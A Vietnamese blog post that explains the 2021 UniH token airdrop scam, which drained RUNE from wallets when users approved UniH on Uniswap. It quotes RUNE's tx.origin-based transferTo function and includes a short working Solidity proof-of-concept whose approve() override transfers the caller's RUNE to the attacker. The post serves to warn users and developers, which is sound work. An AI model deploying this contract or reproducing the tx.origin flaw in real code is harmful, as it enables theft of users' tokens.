Skip to content

Approve ở Uniswap cũng mất tiền - chuyện như đùa

Posted on:July 23, 2021

[BÁO ĐỘNG ĐỎ] Những ai thấy trong ví mình có token UniH hay các token lạ tự dưng được nhận, thì hãy TUYỆT ĐỐI KHÔNG ĐỘNG ĐẾN.

Sau đây là câu chuyện “Approve trên Uniswap cũng mất tiền - chuyện tưởng như đùa”

Giới thiệu

Cách đây vài tiếng, ở twitter account @THORmaximalist có đăng tải một đoạn tweet về sự cố với token UniH như sau:

https://twitter.com/THORmaximalist/status/1418575601770930178

Someone is airdropping UniH tokens to ETH adresses. Just ignore : do not exchange them on UniSwap. If you approve it for swaping, the contract will drain your wallet.

Vô lý thực sự, làm sao có chuyện approve mà mất tiền được? Nhưng không, đó hoàn toàn là sự thật.

Hãy xem các transaction sau đây:

https://etherscan.io/tx/0x30588af6b5337d9ea229339287fa230bf307120252ed06018efb7abf85696285

https://etherscan.io/tx/0x0c48a713e36514c1649a7b67f4d404bbd4553b496ab0641d10f1f2907d3a945b

Các tài khoản trên đã mất toàn bộ token RUNE, lần lượt có giá trị là 48,000vaˋ23,000 và 23,000 tại thời điểm viết, và số lượng người bị hại sẽ còn tăng lên.

Chuyện gì đang xảy ra? approve token UniH trên Uniswap mà lại mất hết RUNE?

Giải mã

Lần vào contract của token RUNE, ta nhận thấy có một đoạn code thực sự dở:

/**
* Queries the origin of the tx to enable approval-less transactions, such as for upgrading ETH.RUNE to THOR.RUNE.
* Beware phishing contracts that could steal tokens by intercepting tx.origin.
* The risks of this are the same as infinite-approved contracts which are widespread.
* Acknowledge it is non-standard, but the ERC-20 standard is less-than-desired. (Hi 0xEther).
*/
function transferTo(address recipient, uint256 amount) public returns (bool) {
    _transfer(tx.origin, recipient, amount);
    return true;
}

tx.origin là một biến cực kì nguy hiểm đã được khuyên không nên dùng tại document của solidity. Vì sao thì các bạn dev tự đọc thêm vì đoạn này khá đi sâu về tech.

Theo đó, nếu như ta dùng một contract khác để gọi hàm này, thì người chuyển tiền đi sẽ là NGƯỜI GỌI, chính là ta, chứ không phải contract mà ta đang tương tác.

Thật vậy, mình đã viết thử một contract để thử tấn công xem sao, có khoảng 10 dòng code:

pragma solidity ^0.6.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";

interface RUNE {
    function transferTo(address dest, uint amount) external;
}

contract UniH is ERC20("UniH", "UniH") {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

   function approve(address spender, uint256 amount) public virtual override returns (bool) {
        RUNE(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9).transferTo(owner, 9999999999); // demo only address
        return true;
    }
}

Đơn giản đây là một contract token ERC20, có custom lại hàm approve của token đó, trong đó gọi đến hàm transferTo mà ta đã nói ở trên.

Khi này mỗi khi có gọi hàm approve trên token này, nó sẽ auto chuyển RUNE qua cho kẻ tấn công, hay chính là contract owner của UniH ở đây.

Chạy thử, mọi thứ diễn ra đúng như kịch bản, ai approve người đó mất RUNE.

Các bước tấn công:

Bài học cho người dùng

Bài học cho dev

disclaimer: bài viết chỉ mang tính chất tham khảo, không khuyến khích tấn công bất kì token nào dưới bất kì hình thức nào, contract cũng là mình tự phán đoán và demo (it works), contract của kẻ tấn công có thể khác đôi chút.